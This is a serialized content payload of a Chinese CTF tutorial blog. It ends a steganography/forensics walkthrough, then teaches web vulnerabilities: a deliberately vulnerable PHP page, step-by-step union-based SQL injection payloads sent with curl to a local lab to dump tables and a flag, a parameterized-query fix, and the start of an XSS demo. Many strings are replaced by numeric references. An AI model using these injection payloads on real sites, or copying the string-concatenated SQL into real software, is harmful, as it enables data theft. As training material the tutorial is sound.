归一化。",[11,11595,1038],{"id":1037},[490,11597,11598,11608],{},[493,11599,11600],{},[496,11601,11602,11604,11606],{},[499,11603,1047],{},[499,11605,1050],{},[499,11607,4064],{},[506,11609,11610,11622,11636,11649],{},[496,11611,11612,11614,11617],{},[511,11613,163],{},[511,11615,11616],{},"看类型",[511,11618,11619],{},[30,11620,11621],{},"file flag.png",[496,11623,11624,11626,11629],{},[511,11625,3471],{},[511,11627,11628],{},"看文件头与结构",[511,11630,11631,264,11633],{},[30,11632,4091],{},[30,11634,11635],{},"xxd flag.zip | head",[496,11637,11638,11640,11643],{},[511,11639,3563],{},[511,11641,11642],{},"扫描/提取隐藏文件",[511,11644,11645,264,11647],{},[30,11646,4119],{},[30,11648,4122],{},[496,11650,11651,11653,11656],{},[511,11652,4038],{},[511,11654,11655],{},"LSB 自动检测",[511,11657,11658],{},[30,11659,11660],{},"zsteg -a flag.png",[11,11662,11664],{"id":11663},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[16,11666,11667,11669],{},[136,11668,138],{},"：把前三节串成一道完整题目。",[16,11671,11672,11674],{},[136,11673,144],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[16,11676,1136,11677,301],{},[30,11678,4131],{},[16,11680,4134],{},[23,11682,11684],{"className":25,"code":11683,"language":27,"meta":28,"style":28},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[30,11685,11686,11695,11712],{"__ignoreMap":28},[33,11687,11688,11690,11692],{"class":35,"line":36},[33,11689,163],{"class":39},[33,11691,3442],{"class":43},[33,11693,11694],{"class":1576},"          # PNG image data\n",[33,11696,11697,11699,11701,11703,11705,11707,11709],{"class":35,"line":47},[33,11698,209],{"class":39},[33,11700,3442],{"class":43},[33,11702,400],{"class":56},[33,11704,403],{"class":39},[33,11706,3540],{"class":241},[33,11708,5198],{"class":43},[33,11710,11711],{"class":1576},"    # 无输出\n",[33,11713,11714,11716,11718],{"class":35,"line":70},[33,11715,3563],{"class":39},[33,11717,3442],{"class":43},[33,11719,11720],{"class":1576},"                   # 无隐藏文件\n",[16,11722,11723],{},"第二步：怀疑 LSB，运行提取脚本：",[23,11725,11727],{"className":11726,"code":4012,"language":175,"meta":28},[173],[30,11728,4012],{"__ignoreMap":28},[16,11730,11731,11732,11734],{},"变体：若提取出的字节不是文本而是 ",[30,11733,3349],{}," 开头，把它保存为 zip，再检查是否伪加密：",[23,11736,11738],{"className":1238,"code":11737,"language":1240,"meta":28,"style":28},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[30,11739,11740,11745],{"__ignoreMap":28},[33,11741,11742],{"class":35,"line":36},[33,11743,11744],{},"with open('extracted.zip', 'wb') as f:\n",[33,11746,11747],{"class":35,"line":47},[33,11748,11749],{},"    f.write(data)\n",[16,11751,11752],{},"然后按第四节流程检查并修复标志位。",[11,11754,1337],{"id":1336},[16,11756,11757,11758,11760,11761,1125,11763,11765],{},"取证主线：",[30,11759,163],{}," 确认类型 → ",[30,11762,209],{},[30,11764,3563],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1350,11767,11768],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":28,"searchDepth":47,"depth":47,"links":11770},[11771,11772,11773,11774,11775,11776,11777,11778],{"id":10773,"depth":70,"text":10774},{"id":89,"depth":70,"text":90},{"id":10819,"depth":70,"text":10820},{"id":11149,"depth":70,"text":11150},{"id":11457,"depth":70,"text":11458},{"id":1037,"depth":70,"text":1038},{"id":11663,"depth":70,"text":11664},{"id":1336,"depth":70,"text":1337},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1366,"image":2254,"alt":11781,"tags":11782,"published":1373},"隐写与取证深入实战",[1370,4230,11783,1372],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":10768,"description":11779},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":11789,"title":11790,"body":11791,"description":13638,"extension":1364,"meta":13639,"navigation":1373,"ogImage":13640,"path":13643,"seo":13644,"stem":13645,"__hash__":13646},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":8,"value":11792,"toc":13626},[11793,11797,11800,11819,11825,11831,11833,11891,11901,11905,11908,11996,11999,12003,12007,12010,12013,12041,12046,12158,12161,12174,12178,12180,12194,12196,12201,12205,12213,12226,12231,12234,12264,12267,12272,12275,12278,12303,12308,12311,12336,12339,12347,12351,12356,12364,12367,12392,12395,12425,12430,12433,12458,12462,12465,12500,12504,12507,12537,12541,12544,12567,12571,12584,12594,12598,12603,12620,12624,12630,12639,12643,12659,12664,12668,12684,12686,12732,12741,12745,12748,12795,12802,12806,12809,12880,12887,12891,12896,12920,12924,12930,12963,12967,12998,13000,13006,13010,13041,13044,13048,13079,13082,13086,13111,13115,13118,13121,13135,13139,13144,13176,13185,13191,13222,13225,13229,13232,13286,13289,13293,13296,13299,13317,13319,13324,13327,13345,13350,13353,13379,13386,13390,13397,13417,13421,13426,13456,13461,13465,13474,13494,13496,13524,13527,13536,13545,13559,13563,13568,13611,13618,13620,13623],[11,11794,11796],{"id":11795},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[16,11798,11799],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[23,11801,11803],{"className":25,"code":11802,"language":27,"meta":28,"style":28},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[30,11804,11805],{"__ignoreMap":28},[33,11806,11807,11809,11812,11814,11817],{"class":35,"line":36},[33,11808,4482],{"class":39},[33,11810,11811],{"class":241}," -v",[33,11813,4485],{"class":412},[33,11815,11816],{"class":43},"http://127.0.0.1:8000/index.php?id=1",[33,11818,4491],{"class":412},[16,11820,11821,11824],{},[30,11822,11823],{},"-v"," 会显示完整过程，输出示例：",[23,11826,11829],{"className":11827,"code":11828,"language":175,"meta":28},[173],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[30,11830,11828],{"__ignoreMap":28},[16,11832,11238],{},[490,11834,11835,11844],{},[493,11836,11837],{},[496,11838,11839,11842],{},[499,11840,11841],{},"部分",[499,11843,504],{},[506,11845,11846,11863,11873,11883],{},[496,11847,11848,11853],{},[511,11849,11850],{},[30,11851,11852],{},"GET /index.php?id=1",[511,11854,11855,11856,11859,11860],{},"方法 GET，路径 ",[30,11857,11858],{},"/index.php","，参数 ",[30,11861,11862],{},"id=1",[496,11864,11865,11870],{},[511,11866,11867],{},[30,11868,11869],{},"Host",[511,11871,11872],{},"目标主机",[496,11874,11875,11880],{},[511,11876,11877],{},[30,11878,11879],{},"HTTP/1.1 200 OK",[511,11881,11882],{},"协议版本与状态码，200 表示成功",[496,11884,11885,11888],{},[511,11886,11887],{},"正文",[511,11889,11890],{},"服务器返回的 HTML",[16,11892,11893,11894,11900],{},"Web 漏洞几乎都源于一件事：",[136,11895,11896,11897,11899],{},"参数 ",[30,11898,4457],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[11,11902,11904],{"id":11903},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[16,11906,11907],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[23,11909,11911],{"className":25,"code":11910,"language":27,"meta":28,"style":28},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[30,11912,11913,11918,11933,11941,11947,11959,11963,11968,11979],{"__ignoreMap":28},[33,11914,11915],{"class":35,"line":36},[33,11916,11917],{"class":1576},"# 方式一：源码部署（需要 PHP + MySQL）\n",[33,11919,11920,11922,11924,11927,11930],{"class":35,"line":47},[33,11921,103],{"class":39},[33,11923,106],{"class":43},[33,11925,11926],{"class":43}," php",[33,11928,11929],{"class":43}," php-mysql",[33,11931,11932],{"class":43}," mariadb-server\n",[33,11934,11935,11937,11939],{"class":35,"line":70},[33,11936,4309],{"class":39},[33,11938,4312],{"class":43},[33,11940,4315],{"class":43},[33,11942,11943,11945],{"class":35,"line":80},[33,11944,771],{"class":770},[33,11946,4322],{"class":43},[33,11948,11949,11951,11953,11956],{"class":35,"line":452},[33,11950,4251],{"class":39},[33,11952,4329],{"class":241},[33,11954,11955],{"class":43}," 127.0.0.1:8000",[33,11957,11958],{"class":1576},"        # 启动后浏览器访问，点 Setup/reset Database\n",[33,11960,11961],{"class":35,"line":458},[33,11962,1460],{"emptyLinePlaceholder":1373},[33,11964,11965],{"class":35,"line":464},[33,11966,11967],{"class":1576},"# 方式二：Docker 部署（最简单）\n",[33,11969,11970,11973,11976],{"class":35,"line":470},[33,11971,11972],{"class":39},"docker",[33,11974,11975],{"class":43}," pull",[33,11977,11978],{"class":43}," tavenli/sqli-labs\n",[33,11980,11981,11983,11986,11988,11991,11994],{"class":35,"line":476},[33,11982,11972],{"class":39},[33,11984,11985],{"class":43}," run",[33,11987,368],{"class":241},[33,11989,11990],{"class":241}," -p",[33,11992,11993],{"class":43}," 8000:80",[33,11995,11978],{"class":43},[16,11997,11998],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[11,12000,12002],{"id":12001},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[147,12004,12006],{"id":12005},"_31-平台与代码","3.1 平台与代码",[16,12008,12009],{},"平台：Linux + PHP + MySQL。",[16,12011,12012],{},"第一步，建数据库。在 MySQL 里执行：",[23,12014,12015],{"className":4276,"code":4348,"language":4278,"meta":28,"style":28},[30,12016,12017,12021,12025,12029,12033,12037],{"__ignoreMap":28},[33,12018,12019],{"class":35,"line":36},[33,12020,4355],{},[33,12022,12023],{"class":35,"line":47},[33,12024,4360],{},[33,12026,12027],{"class":35,"line":70},[33,12028,4365],{},[33,12030,12031],{"class":35,"line":80},[33,12032,4370],{},[33,12034,12035],{"class":35,"line":452},[33,12036,4375],{},[33,12038,12039],{"class":35,"line":458},[33,12040,4380],{},[16,12042,12043,12044,561],{},"第二步，写漏洞页面 ",[30,12045,4385],{},[23,12047,12049],{"className":4249,"code":12048,"language":4251,"meta":28,"style":28},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[30,12050,12051,12055,12059,12064,12069,12073,12077,12082,12087,12091,12095,12100,12105,12110,12114,12118,12123,12127,12131,12136,12141,12145,12150,12154],{"__ignoreMap":28},[33,12052,12053],{"class":35,"line":36},[33,12054,4395],{},[33,12056,12057],{"class":35,"line":47},[33,12058,4400],{},[33,12060,12061],{"class":35,"line":70},[33,12062,12063],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[33,12065,12066],{"class":35,"line":80},[33,12067,12068],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[33,12070,12071],{"class":35,"line":452},[33,12072,1460],{"emptyLinePlaceholder":1373},[33,12074,12075],{"class":35,"line":458},[33,12076,4258],{},[33,12078,12079],{"class":35,"line":464},[33,12080,12081],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[33,12083,12084],{"class":35,"line":470},[33,12085,12086],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[33,12088,12089],{"class":35,"line":476},[33,12090,1460],{"emptyLinePlaceholder":1373},[33,12092,12093],{"class":35,"line":482},[33,12094,4409],{},[33,12096,12097],{"class":35,"line":1295},[33,12098,12099],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[33,12101,12102],{"class":35,"line":1301},[33,12103,12104],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[33,12106,12107],{"class":35,"line":1505},[33,12108,12109],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[33,12111,12112],{"class":35,"line":1511},[33,12113,1460],{"emptyLinePlaceholder":1373},[33,12115,12116],{"class":35,"line":1517},[33,12117,4414],{},[33,12119,12120],{"class":35,"line":1523},[33,12121,12122],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[33,12124,12125],{"class":35,"line":1529},[33,12126,1460],{"emptyLinePlaceholder":1373},[33,12128,12129],{"class":35,"line":1535},[33,12130,4419],{},[33,12132,12133],{"class":35,"line":1541},[33,12134,12135],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[33,12137,12138],{"class":35,"line":2981},[33,12139,12140],{},"    // 取不到更多行时返回 null，while 结束。\n",[33,12142,12143],{"class":35,"line":2987},[33,12144,4424],{},[33,12146,12147],{"class":35,"line":2993},[33,12148,12149],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[33,12151,12152],{"class":35,"line":2999},[33,12153,1475],{},[33,12155,12156],{"class":35,"line":3005},[33,12157,4433],{},[16,12159,12160],{},"第三步，启动：",[23,12162,12164],{"className":25,"code":12163,"language":27,"meta":28,"style":28},"php -S 127.0.0.1:8000\n",[30,12165,12166],{"__ignoreMap":28},[33,12167,12168,12170,12172],{"class":35,"line":36},[33,12169,4251],{"class":39},[33,12171,4329],{"class":241},[33,12173,4332],{"class":43},[147,12175,12177],{"id":12176},"_32-正常请求","3.2 正常请求",[16,12179,153],{},[23,12181,12182],{"className":25,"code":4475,"language":27,"meta":28,"style":28},[30,12183,12184],{"__ignoreMap":28},[33,12185,12186,12188,12190,12192],{"class":35,"line":36},[33,12187,4482],{"class":39},[33,12189,4485],{"class":412},[33,12191,4488],{"class":43},[33,12193,4491],{"class":412},[16,12195,169],{},[23,12197,12199],{"className":12198,"code":4497,"language":175,"meta":28},[173],[30,12200,4497],{"__ignoreMap":28},[147,12202,12204],{"id":12203},"_33-判断注入点三步","3.3 判断注入点（三步）",[16,12206,12207,12209,12210,12212],{},[136,12208,138],{},"：确认 ",[30,12211,4457],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[16,12214,12215,12217,12218,12221,12222,12225],{},[136,12216,144],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[30,12219,12220],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[30,12223,12224],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[16,12227,12228,12230],{},[136,12229,648],{},"：逐条发送以下三个请求，对比输出。",[16,12232,12233],{},"输入 1：",[23,12235,12237],{"className":25,"code":12236,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[30,12238,12239,12249,12254,12259],{"__ignoreMap":28},[33,12240,12241,12243,12245,12247],{"class":35,"line":36},[33,12242,4482],{"class":39},[33,12244,4485],{"class":412},[33,12246,4522],{"class":43},[33,12248,4491],{"class":412},[33,12250,12251],{"class":35,"line":47},[33,12252,12253],{"class":1576},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[33,12255,12256],{"class":35,"line":70},[33,12257,12258],{"class":1576},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[33,12260,12261],{"class":35,"line":80},[33,12262,12263],{"class":1576},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[16,12265,12266],{},"预期输出：SQL 语法错误，例如：",[23,12268,12270],{"className":12269,"code":4531,"language":175,"meta":28},[173],[30,12271,4531],{"__ignoreMap":28},[16,12273,12274],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[16,12276,12277],{},"输入 2：",[23,12279,12281],{"className":25,"code":12280,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[30,12282,12283,12293,12298],{"__ignoreMap":28},[33,12284,12285,12287,12289,12291],{"class":35,"line":36},[33,12286,4482],{"class":39},[33,12288,4485],{"class":412},[33,12290,4558],{"class":43},[33,12292,4491],{"class":412},[33,12294,12295],{"class":35,"line":47},[33,12296,12297],{"class":1576},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[33,12299,12300],{"class":35,"line":70},[33,12301,12302],{"class":1576},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[16,12304,169,12305,12307],{},[30,12306,4565],{},"（条件为真，正常返回）。",[16,12309,12310],{},"输入 3：",[23,12312,12314],{"className":25,"code":12313,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[30,12315,12316,12326,12331],{"__ignoreMap":28},[33,12317,12318,12320,12322,12324],{"class":35,"line":36},[33,12319,4482],{"class":39},[33,12321,4485],{"class":412},[33,12323,4584],{"class":43},[33,12325,4491],{"class":412},[33,12327,12328],{"class":35,"line":47},[33,12329,12330],{"class":1576},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[33,12332,12333],{"class":35,"line":70},[33,12334,12335],{"class":1576},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[16,12337,12338],{},"预期输出：空（条件为假，查不到数据）。",[16,12340,12341,12342,12344,12345,4603],{},"三个结果合起来：单引号报错、",[30,12343,4598],{}," 正常、",[30,12346,4602],{},[147,12348,12350],{"id":12349},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[16,12352,12353,12355],{},[136,12354,138],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[16,12357,12358,12360,12361,12363],{},[136,12359,144],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[30,12362,4623],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[16,12365,12366],{},"第一步，确定列数：",[23,12368,12370],{"className":25,"code":12369,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[30,12371,12372,12382,12387],{"__ignoreMap":28},[33,12373,12374,12376,12378,12380],{"class":35,"line":36},[33,12375,4482],{"class":39},[33,12377,4485],{"class":412},[33,12379,4650],{"class":43},[33,12381,4491],{"class":412},[33,12383,12384],{"class":35,"line":47},[33,12385,12386],{"class":1576},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[33,12388,12389],{"class":35,"line":70},[33,12390,12391],{"class":1576},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[16,12393,12394],{},"第二步，确认哪一列会回显：",[23,12396,12398],{"className":25,"code":12397,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[30,12399,12400,12410,12415,12420],{"__ignoreMap":28},[33,12401,12402,12404,12406,12408],{"class":35,"line":36},[33,12403,4482],{"class":39},[33,12405,4485],{"class":412},[33,12407,4714],{"class":43},[33,12409,4491],{"class":412},[33,12411,12412],{"class":35,"line":47},[33,12413,12414],{"class":1576},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[33,12416,12417],{"class":35,"line":70},[33,12418,12419],{"class":1576},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[33,12421,12422],{"class":35,"line":80},[33,12423,12424],{"class":1576},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[16,12426,169,12427,12429],{},[30,12428,4721],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[16,12431,12432],{},"第三步，查数据库名：",[23,12434,12436],{"className":25,"code":12435,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[30,12437,12438,12448,12453],{"__ignoreMap":28},[33,12439,12440,12442,12444,12446],{"class":35,"line":36},[33,12441,4482],{"class":39},[33,12443,4485],{"class":412},[33,12445,4740],{"class":43},[33,12447,4491],{"class":412},[33,12449,12450],{"class":35,"line":47},[33,12451,12452],{"class":1576},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[33,12454,12455],{"class":35,"line":70},[33,12456,12457],{"class":1576},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[16,12459,169,12460,301],{},[30,12461,1370],{},[16,12463,12464],{},"第四步，查表名：",[23,12466,12468],{"className":25,"code":12467,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[30,12469,12470,12480,12485,12490,12495],{"__ignoreMap":28},[33,12471,12472,12474,12476,12478],{"class":35,"line":36},[33,12473,4482],{"class":39},[33,12475,4485],{"class":412},[33,12477,4764],{"class":43},[33,12479,4491],{"class":412},[33,12481,12482],{"class":35,"line":47},[33,12483,12484],{"class":1576},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[33,12486,12487],{"class":35,"line":70},[33,12488,12489],{"class":1576},"# WHERE table_schema=database()：只筛当前库的表。\n",[33,12491,12492],{"class":35,"line":80},[33,12493,12494],{"class":1576},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[33,12496,12497],{"class":35,"line":452},[33,12498,12499],{"class":1576},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[16,12501,169,12502,301],{},[30,12503,4771],{},[16,12505,12506],{},"第五步，拿 flag：",[23,12508,12510],{"className":25,"code":12509,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[30,12511,12512,12522,12527,12532],{"__ignoreMap":28},[33,12513,12514,12516,12518,12520],{"class":35,"line":36},[33,12515,4482],{"class":39},[33,12517,4485],{"class":412},[33,12519,4828],{"class":43},[33,12521,4491],{"class":412},[33,12523,12524],{"class":35,"line":47},[33,12525,12526],{"class":1576},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[33,12528,12529],{"class":35,"line":70},[33,12530,12531],{"class":1576},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[33,12533,12534],{"class":35,"line":80},[33,12535,12536],{"class":1576},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[16,12538,169,12539,301],{},[30,12540,4835],{},[16,12542,12543],{},"说明：",[8793,12545,12546,12551,12561],{},[792,12547,12548,12550],{},[30,12549,4623],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[792,12552,12553,12556,12557,12560],{},[30,12554,12555],{},"--+","：URL 中解码后是 ",[30,12558,12559],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[792,12562,12563,12566],{},[30,12564,12565],{},"group_concat","：把多行拼成一行，方便一次性输出。",[147,12568,12570],{"id":12569},"_35-防御参数化查询","3.5 防御：参数化查询",[23,12572,12574],{"className":4249,"code":12573,"language":4251,"meta":28,"style":28},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[30,12575,12576,12580],{"__ignoreMap":28},[33,12577,12578],{"class":35,"line":36},[33,12579,5227],{},[33,12581,12582],{"class":35,"line":47},[33,12583,5232],{},[16,12585,12586,12587,12589,12590,12593],{},"此时输入 ",[30,12588,5271],{}," 只会被当作字符串 ",[30,12591,12592],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[11,12595,12597],{"id":12596},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[16,12599,12600,12602],{},[136,12601,138],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[16,12604,12605,12607,12608,12611,12612,12615,12616,12619],{},[136,12606,144],{},"：页面把 ",[30,12609,12610],{},"name"," 原样输出。如果我们传 ",[30,12613,12614],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[30,12617,12618],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[147,12621,12623],{"id":12622},"_41-平台与代码","4.1 平台与代码",[16,12625,12626,12627,561],{},"任意 Web 应用。示例 ",[30,12628,12629],{},"xss.php",[23,12631,12633],{"className":4249,"code":12632,"language":4251,"meta":28,"style":28},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[30,12634,12635],{"__ignoreMap":28},[33,12636,12637],{"class":35,"line":36},[33,12638,12632],{},[147,12640,12642],{"id":12641},"_42-正常请求","4.2 正常请求",[23,12644,12646],{"className":25,"code":12645,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[30,12647,12648],{"__ignoreMap":28},[33,12649,12650,12652,12654,12657],{"class":35,"line":36},[33,12651,4482],{"class":39},[33,12653,4485],{"class":412},[33,12655,12656],{"class":43},"http://127.0.0.1:8000/xss.php?name=alice",[33,12658,4491],{"class":412},[16,12660,298,12661,301],{},[30,12662,12663],{},"你好，alice！",[147,12665,12667],{"id":12666},"_43-注入脚本","4.3 注入脚本",[23,12669,12671],{"className":25,"code":12670,"language":27,"meta":28,"style":28},"curl 